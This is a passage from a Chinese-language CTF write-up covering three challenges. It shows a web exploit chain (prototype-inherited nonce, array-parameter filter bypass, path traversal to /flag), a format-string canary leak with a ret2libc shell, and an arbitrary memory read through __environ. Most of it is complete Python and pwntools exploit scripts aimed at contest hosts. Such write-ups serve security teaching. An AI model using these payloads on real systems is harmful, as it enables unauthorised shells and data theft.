class="line">3</span><br></pre></td><td class="code"><pre><span class="line">/../../flag</span><br><span class="line">.</span><br><span class="line">log</span><br></pre></td></tr></table></figure><p>最后在归一化阶段，<code>..</code> 会被正常折叠，前面的无效填充被吃掉，最终解析结果落到 <code>/flag</code>。</p><p>最后打过去的请求形态就是：</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">POST /api/checkfile?file=a&amp;file=a&amp;file=a&amp;file=a&amp;file=a&amp;file=a&amp;file=a&amp;file=a&amp;file=a&amp;file=%2F..%2F..%2Fflag&amp;file=.&amp;file=log</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>application/json</span><br><span class="line"></span><br><span class="line">&#123;&quot;name&quot;:&quot;CTF-ADMIN&quot;&#125;</span><br></pre></td></tr></table></figure><p>把这条链按代码逻辑再拆一下，其实就是三个点首尾相接：</p><ol><li>不传 <code>nonce</code>，从 <code>Object.prototype.nonce</code> 继承到真实管理员 nonce；</li><li><code>file</code> 用重复参数变成数组，绕过 <code>allowedFile</code>、<code>includes(&#39;/&#39;)</code> 和 <code>includes(&#39;..&#39;)</code> 这类字符串检查；</li><li><code>file.length &gt; 10</code> 截断后，配合路径归一化最终读到 <code>/flag</code>。</li></ol><p>所以这题非常像一道“短链组合拳”：<br>每个点单看都不长，但刚好能组成认证绕过 + 文件读取的完整利用链。</p><p>完整请求脚本如下，核心就是这一段：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">url = (</span><br><span class="line">    <span class="string">&quot;http://175.27.251.122:10010/api/checkfile&quot;</span></span><br><span class="line">    <span class="string">&quot;?file=a&amp;file=a&amp;file=a&amp;file=a&amp;file=a&quot;</span></span><br><span class="line">    <span class="string">&quot;&amp;file=a&amp;file=a&amp;file=a&amp;file=a&quot;</span></span><br><span class="line">    <span class="string">&quot;&amp;file=%2F..%2F..%2Fflag&amp;file=.&amp;file=log&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">res = requests.post(</span><br><span class="line">    url,</span><br><span class="line">    json=&#123;<span class="string">&quot;name&quot;</span>: <span class="string">&quot;CTF-ADMIN&quot;</span>&#125;,</span><br><span class="line">)</span><br><span class="line"><span class="built_in">print</span>(res.text)</span><br></pre></td></tr></table></figure><p>如果想把“数组型参数”这一点写得更直观，也可以直接用 <code>requests</code> 的列表参数形式去发，同样会生成重复的 <code>file=</code>：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">params = [</span><br><span class="line">    (<span class="string">&quot;file&quot;</span>, <span class="string">&quot;a&quot;</span>), (<span class="string">&quot;file&quot;</span>, <span class="string">&quot;a&quot;</span>), (<span class="string">&quot;file&quot;</span>, <span class="string">&quot;a&quot;</span>), (<span class="string">&quot;file&quot;</span>, <span class="string">&quot;a&quot;</span>), (<span class="string">&quot;file&quot;</span>, <span class="string">&quot;a&quot;</span>),</span><br><span class="line">    (<span class="string">&quot;file&quot;</span>, <span class="string">&quot;a&quot;</span>), (<span class="string">&quot;file&quot;</span>, <span class="string">&quot;a&quot;</span>), (<span class="string">&quot;file&quot;</span>, <span class="string">&quot;a&quot;</span>), (<span class="string">&quot;file&quot;</span>, <span class="string">&quot;a&quot;</span>),</span><br><span class="line">    (<span class="string">&quot;file&quot;</span>, <span class="string">&quot;/../../flag&quot;</span>), (<span class="string">&quot;file&quot;</span>, <span class="string">&quot;.&quot;</span>), (<span class="string">&quot;file&quot;</span>, <span class="string">&quot;log&quot;</span>),</span><br><span class="line">]</span><br><span class="line"></span><br><span class="line">res = requests.post(</span><br><span class="line">    <span class="string">&quot;http://175.27.251.122:10010/api/checkfile&quot;</span>,</span><br><span class="line">    params=params,</span><br><span class="line">    json=&#123;<span class="string">&quot;name&quot;</span>: <span class="string">&quot;CTF-ADMIN&quot;</span>&#125;,</span><br><span class="line">)</span><br><span class="line"><span class="built_in">print</span>(res.request.url)</span><br><span class="line"><span class="built_in">print</span>(res.text)</span><br></pre></td></tr></table></figure><p>这里的确认点也很硬：如果 <code>nonce</code> 继承链没生效，服务端会直接卡在管理员校验；如果数组型 <code>file</code> 没走通，最后读到的也不会是 <code>/flag</code>。只有三段链同时打通，响应里才会回出真实 flag。</p><p>Flag：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flag&#123;RE2AL47_E42Y_F1le&#125;</span><br></pre></td></tr></table></figure><h2 id="pwner-snake"><a href="#pwner-snake" class="headerlink" title="pwner_snake"></a>pwner_snake</h2><ul><li>类型：Pwn</li><li>得分：200</li><li>时间：06&#x2F;06 11:12:09</li></ul><p>先用格式化字符串 <code>%7$p</code> 泄露 canary。<br>第一轮溢出通过 <code>puts@plt(puts@got)</code> 泄露 libc 并回到主逻辑，第二轮再做 <code>system(&quot;/bin/sh&quot;)</code>，最后读取 <code>/flag*</code>。</p><p>完整思路其实就是两次 <code>Any last words?</code> 溢出：</p><ol><li>第一轮只做泄露，不求直接打穿；</li><li>第二轮拿到 libc 基址后再打 <code>system(&quot;/bin/sh&quot;)</code>。</li></ol><p>起手先发：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">io.send(<span class="string">b&quot;%7$p&quot;</span>)</span><br></pre></td></tr></table></figure><p>从初始画面里把 canary 抠出来：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">canary = <span class="built_in">int</span>(re.search(<span class="string">rb&quot;0x([0-9a-fA-F]+)&quot;</span>, data).group(<span class="number">0</span>), <span class="number">16</span>)</span><br></pre></td></tr></table></figure><p>关键 payload 实际上是两轮分开的。第一轮只负责泄露，第二轮才负责真正落 shell。最后跑通远程的脚本如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">HOST = <span class="string">&quot;123.56.126.77&quot;</span></span><br><span class="line">PORT = <span class="number">1010</span></span><br><span class="line"></span><br><span class="line">context.binary = ELF(<span class="string">r&quot;C:\Users\27516\Documents\snake_ascii\pwn&quot;</span>)</span><br><span class="line">context.log_level = <span class="string">&quot;info&quot;</span></span><br><span class="line"></span><br><span class="line">elf = context.binary</span><br><span class="line">libc = ELF(<span class="string">r&quot;C:\Users\27516\Documents\snake_ascii\libc.so.6&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">recv_until</span>(<span class="params">io, pattern, total=<span class="number">8</span></span>):</span><br><span class="line">    buf = <span class="string">b&quot;&quot;</span></span><br><span class="line">    end = time.time() + total</span><br><span class="line">    <span class="keyword">while</span> time.time() &lt; end:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            chunk = io.recv(timeout=<span class="number">0.5</span>)</span><br><span class="line">        <span class="keyword">except</span> EOFError:</span><br><span class="line">            <span class="keyword">return</span> buf, <span class="literal">False</span></span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> chunk:</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">        buf += chunk</span><br><span class="line">        <span class="keyword">if</span> pattern <span class="keyword">in</span> buf:</span><br><span class="line">            <span class="keyword">return</span> buf, <span class="literal">True</span></span><br><span class="line">    <span class="keyword">return</span> buf, <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    io = remote(HOST, PORT)</span><br><span class="line"></span><br><span class="line">    io.send(<span class="string">b&quot;%7$p&quot;</span>)</span><br><span class="line">    data, ok = recv_until(io, <span class="string">b&quot;quit&quot;</span>, <span class="number">5</span>)</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> ok:</span><br><span class="line">        <span class="keyword">raise</span> RuntimeError(<span class="string">&quot;failed to receive initial screen&quot;</span>)</span><br><span class="line">    canary = <span class="built_in">int</span>(re.search(<span class="string">rb&quot;0x([0-9a-fA-F]+)&quot;</span>, data).group(<span class="number">0</span>), <span class="number">16</span>)</span><br><span class="line">    log.info(<span class="string">&quot;canary = %#x&quot;</span>, canary)</span><br><span class="line"></span><br><span class="line">    _, ok = recv_until(io, <span class="string">b&quot;Any last words?\n&quot;</span>, <span class="number">8</span>)</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> ok:</span><br><span class="line">        <span class="keyword">raise</span> RuntimeError(<span class="string">&quot;failed to reach first overflow&quot;</span>)</span><br><span class="line"></span><br><span class="line">    payload1 = flat(</span><br><span class="line">        <span class="string">b&quot;A&quot;</span> * <span class="number">0x38</span>,</span><br><span class="line">        canary,</span><br><span class="line">        <span class="string">b&quot;B&quot;</span> * <span class="number">8</span>,</span><br><span class="line">        <span class="number">0x4016EE</span>,</span><br><span class="line">        elf.got[<span class="string">&quot;puts&quot;</span>],</span><br><span class="line">        <span class="number">0x401170</span>,</span><br><span class="line">        elf.symbols[<span class="string">&quot;logic&quot;</span>],</span><br><span class="line">        word_size=<span class="number">64</span>,</span><br><span class="line">    )</span><br><span class="line">    io.sendline(payload1)</span><br><span class="line"></span><br><span class="line">    data, ok = recv_until(io, <span class="string">b&quot;Any last words?\n&quot;</span>, <span class="number">8</span>)</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> ok:</span><br><span class="line">        <span class="keyword">raise</span> RuntimeError(<span class="string">&quot;failed to reach second overflow&quot;</span>)</span><br><span class="line"></span><br><span class="line">    leak_blob = data.split(<span class="string">b&quot;Any last words?&quot;</span>)[<span class="number">0</span>].split(<span class="string">b&quot;\n&quot;</span>)[<span class="number">0</span>]</span><br><span class="line">    puts_leak = u64(leak_blob[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&quot;\x00&quot;</span>))</span><br><span class="line">    libc.address = puts_leak - libc.sym.puts</span><br><span class="line">    log.info(<span class="string">&quot;puts = %#x&quot;</span>, puts_leak)</span><br><span class="line">    log.info(<span class="string">&quot;libc = %#x&quot;</span>, libc.address)</span><br><span class="line"></span><br><span class="line">    payload2 = flat(</span><br><span class="line">        <span class="string">b&quot;A&quot;</span> * <span class="number">0x38</span>,</span><br><span class="line">        canary,</span><br><span class="line">        <span class="string">b&quot;B&quot;</span> * <span class="number">8</span>,</span><br><span class="line">        <span class="number">0x40101A</span>,</span><br><span class="line">        <span class="number">0x4016EE</span>,</span><br><span class="line">        <span class="built_in">next</span>(libc.search(<span class="string">b&quot;/bin/sh\x00&quot;</span>)),</span><br><span class="line">        libc.sym.system,</span><br><span class="line">        word_size=<span class="number">64</span>,</span><br><span class="line">    )</span><br><span class="line">    io.sendline(payload2)</span><br><span class="line">    io.sendline(<span class="string">b&quot;cat /flag*&quot;</span>)</span><br><span class="line"></span><br><span class="line">    flag, _ = recv_until(io, <span class="string">b&quot;&#125;&quot;</span>, <span class="number">5</span>)</span><br><span class="line">    <span class="built_in">print</span>(flag.decode(<span class="string">&quot;latin1&quot;</span>, <span class="string">&quot;ignore&quot;</span>))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure><p>第一轮 payload 是：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">payload1 = flat(</span><br><span class="line">    <span class="string">b&quot;A&quot;</span> * <span class="number">0x38</span>,</span><br><span class="line">    canary,</span><br><span class="line">    <span class="string">b&quot;B&quot;</span> * <span class="number">8</span>,</span><br><span class="line">    <span class="number">0x4016EE</span>,</span><br><span class="line">    elf.got[<span class="string">&quot;puts&quot;</span>],</span><br><span class="line">    <span class="number">0x401170</span>,</span><br><span class="line">    elf.symbols[<span class="string">&quot;logic&quot;</span>],</span><br><span class="line">    word_size=<span class="number">64</span>,</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>它只做一件事：<code>puts@plt(puts@got)</code> 泄露真实 <code>puts</code> 地址，然后重新回到 <code>logic()</code>。拿到第一次回包以后，再这样算 libc：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">puts_leak = u64(leak_blob[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&quot;\x00&quot;</span>))</span><br><span class="line">libc.address = puts_leak - libc.sym.puts</span><br></pre></td></tr></table></figure><p>第二轮才是真正的 ret2libc：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">payload2 = flat(</span><br><span class="line">    <span class="string">b&quot;A&quot;</span> * <span class="number">0x38</span>,</span><br><span class="line">    canary,</span><br><span class="line">    <span class="string">b&quot;B&quot;</span> * <span class="number">8</span>,</span><br><span class="line">    <span class="number">0x40101A</span>,</span><br><span class="line">    <span class="number">0x4016EE</span>,</span><br><span class="line">    <span class="built_in">next</span>(libc.search(<span class="string">b&quot;/bin/sh\x00&quot;</span>)),</span><br><span class="line">    libc.sym.system,</span><br><span class="line">    word_size=<span class="number">64</span>,</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>第二轮打完以后补一句 <code>cat /flag*</code> 就可以收工。所以这题的关键不是“盲打一条 system 链”，而是先用第一轮把 canary 和 libc 都校准，再在第二轮稳定落 shell。</p><p>Flag：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SDPC&#123;ygA6TWJOfSR7xEc2P0O3zrX8&#125;</span><br></pre></td></tr></table></figure><h2 id="pwner-myedit"><a href="#pwner-myedit" class="headerlink" title="pwner_myedit"></a>pwner_myedit</h2><ul><li>类型：Pwn</li><li>得分：350(+1%)</li><li>时间：06&#x2F;06 11:05:52</li></ul><p>核心是把程序内部指针改到 <code>__environ</code>，然后逐项读取环境变量，最后在环境里直接找到：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">FLAG_VALUE=SDPC&#123;PzSLwf33o9sKdF01lwD6Qcbd&#125;</span><br></pre></td></tr></table></figure><p>利用点在于配置写入路径会把输入的前 8 字节重新解释成指针，再配合“备份到堆”的逻辑把这个指针真正带进后续读取流程。于是这题不需要直接劫持控制流，只要把内部读取指针改到想看的地址，就能做任意地址读。</p><p>真正下手时要盯的就是两个细节：</p><ol><li>前 8 字节会被当成目标指针重新解释；</li><li><code>backup to heap</code> 之后再给一个合适的 <code>off</code>，这个指针就会进入后续“读取文件内容”的那条路径。</li></ol><p>这里最后固定用的是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">ENVIRON_ADDR = 0x4F32D0</span><br><span class="line">off = 16</span><br></pre></td></tr></table></figure><p><code>0x4F32D0</code> 是程序里 <code>__environ</code> 的地址，<code>off = 16</code> 则是当时能稳定把伪造指针送进后续读取逻辑的位置。这个值不是随手填的，如果偏移不对，后面的“显示文件内容”根本不会去解引用我们想看的地址。</p><p>整个脚本的主逻辑就是三步：</p><ol><li>用 <code>set_ptr()</code> 把内部指针改到任意地址；</li><li>用 <code>read8()</code> 按 8 字节读内存；</li><li>从 <code>ENVIRON_ADDR</code> 开始一项项扫环境变量，直到命中 <code>FLAG_VALUE=...</code>。</li></ol><p>实际用的关键脚本如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">HOST = <span class="string">&quot;123.56.126.77&quot;</span></span><br><span class="line">PORT = <span class="number">1003</span></span><br><span class="line">ENVIRON_ADDR = <span class="number">0x4F32D0</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">set_ptr</span>(<span class="params">io, addr, off=<span class="number">16</span></span>):</span><br><span class="line">    io.recvuntil(<span class="string">b&quot;Choice: &quot;</span>)</span><br><span class="line">    io.sendline(<span class="string">b&quot;1&quot;</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&quot;enter new config data: &quot;</span>)</span><br><span class="line">    io.send(p64(addr).rstrip(<span class="string">b&quot;\x00&quot;</span>) + <span class="string">b&quot;\n&quot;</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&quot;Do you want to backup to heap? (y/n): &quot;</span>)</span><br><span class="line">    io.sendline(<span class="string">b&quot;y&quot;</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&quot;what off do you want&quot;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(off).encode())</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">read8</span>(<span class="params">io, addr</span>):</span><br><span class="line">    set_ptr(io, addr)</span><br><span class="line">    io.recvuntil(<span class="string">b&quot;Choice: &quot;</span>)</span><br><span class="line">    io.sendline(<span class="string">b&quot;2&quot;</span>)</span><br><span class="line">    prefix = <span class="string">b&quot;--- File Content ---\n&quot;</span></span><br><span class="line">    data = io.recvuntil(<span class="string">b&quot;\n--------------------&quot;</span>, timeout=<span class="number">2</span>)</span><br><span class="line">    start = data.index(prefix) + <span class="built_in">len</span>(prefix)</span><br><span class="line">    <span class="keyword">return</span> data[start:-<span class="built_in">len</span>(<span class="string">b&quot;\n--------------------&quot;</span>)]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">read_cstring</span>(<span class="params">io, addr, limit=<span class="number">0x200</span></span>):</span><br><span class="line">    out = <span class="built_in">bytearray</span>()</span><br><span class="line">    <span class="keyword">while</span> <span class="built_in">len</span>(out) &lt; limit:</span><br><span class="line">        chunk = read8(io, addr + <span class="built_in">len</span>(out))</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> chunk:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        out.extend(chunk)</span><br><span class="line">        <span class="keyword">if</span> <span class="string">b&quot;\x00&quot;</span> <span class="keyword">in</span> chunk:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">bytes</span>(out).split(<span class="string">b&quot;\x00&quot;</span>, <span class="number">1</span>)[<span class="number">0</span>]</span><br></pre></td></tr></table></figure><p>这里 <code>p64(addr).rstrip(b&quot;\x00&quot;)</code> 也不是偷懒写法。因为程序把输入收进缓冲区以后，短输入剩下的位置本来就会保持零扩展，所以高位连续的 <code>\x00</code> 可以不显式发出去；这样既能避免不必要的截断影响，也能更稳地把目标指针写进去。</p><p>打点时先用 <code>read8(io, ENVIRON_ADDR)</code> 拿到环境变量数组首地址，再按 8 字节步长把每个 <code>envp[i]</code> 指针取出来，继续跟进去读字符串。完整脚本最后就是这样扫：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">HOST = <span class="string">&quot;123.56.126.77&quot;</span></span><br><span class="line">PORT = <span class="number">1003</span></span><br><span class="line">ENVIRON_ADDR = <span class="number">0x4F32D0</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">set_ptr</span>(<span class="params">io, addr, off=<span class="number">16</span></span>):</span><br><span class="line">    io.recvuntil(<span class="string">b&quot;Choice: &quot;</span>)</span><br><span class="line">    io.sendline(<span class="string">b&quot;1&quot;</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&quot;enter new config data: &quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># The program copies our bytes into a stack buffer and reinterprets the</span></span><br><span class="line">    <span class="comment"># first qword as a pointer. Trailing zero bytes can be omitted because the</span></span><br><span class="line">    <span class="comment"># destination buffer is already zero-extended for short inputs.</span></span><br><span class="line">    io.send(p64(addr).rstrip(<span class="string">b&quot;\x00&quot;</span>) + <span class="string">b&quot;\n&quot;</span>)</span><br><span class="line"></span><br><span class="line">    io.recvuntil(<span class="string">b&quot;Do you want to backup to heap? (y/n): &quot;</span>)</span><br><span class="line">    io.sendline(<span class="string">b&quot;y&quot;</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&quot;what off do you want&quot;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(off).encode())</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">read8</span>(<span class="params">io, addr</span>):</span><br><span class="line">    set_ptr(io, addr)</span><br><span class="line">    io.recvuntil(<span class="string">b&quot;Choice: &quot;</span>)</span><br><span class="line">    io.sendline(<span class="string">b&quot;2&quot;</span>)</span><br><span class="line"></span><br><span class="line">    prefix = <span class="string">b&quot;--- File Content ---\n&quot;</span></span><br><span class="line">    data = io.recvuntil(<span class="string">b&quot;\n--------------------&quot;</span>, timeout=<span class="number">2</span>)</span><br><span class="line">    start = data.index(prefix) + <span class="built_in">len</span>(prefix)</span><br><span class="line">    <span class="keyword">return</span> data[start:-<span class="built_in">len</span>(<span class="string">b&quot;\n--------------------&quot;</span>)]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">read_cstring</span>(<span class="params">io, addr, limit=<span class="number">0x200</span></span>):</span><br><span class="line">    out = <span class="built_in">bytearray</span>()</span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span> <span class="built_in">len</span>(out) &lt; limit:</span><br><span class="line">        chunk = read8(io, addr + <span class="built_in">len</span>(out))</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> chunk:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        out.extend(chunk)</span><br><span class="line">        <span class="keyword">if</span> <span class="string">b&quot;\x00&quot;</span> <span class="keyword">in</span> chunk:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">bytes</span>(out).split(<span class="string">b&quot;\x00&quot;</span>, <span class="number">1</span>)[<span class="number">0</span>]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    io = remote(HOST, PORT)</span><br><span class="line"></span><br><span class="line">    environ = u64(read8(io, ENVIRON_ADDR).ljust(<span class="number">8</span>, <span class="string">b&quot;\x00&quot;</span>))</span><br><span class="line">    log.info(<span class="string">f&quot;environ = <span class="subst">&#123;<span class="built_in">hex</span>(environ)&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> idx <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">64</span>):</span><br><span class="line">        entry_ptr = u64(read8(io, environ + idx * <span class="number">8</span>).ljust(<span class="number">8</span>, <span class="string">b&quot;\x00&quot;</span>))</span><br><span class="line">        <span class="keyword">if</span> entry_ptr == <span class="number">0</span>:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">        entry = read_cstring(io, entry_ptr)</span><br><span class="line">        log.info(<span class="string">f&quot;env[<span class="subst">&#123;idx&#125;</span>] = <span class="subst">&#123;entry!r&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> entry.startswith(<span class="string">b&quot;FLAG_VALUE=&quot;</span>):</span><br><span class="line">            <span class="built_in">print</span>(entry.decode())</span><br><span class="line">            <span class="keyword">return</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">raise</span> SystemExit(<span class="string">&quot;flag not found in environment&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure><p>真正的收口判断就是：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span 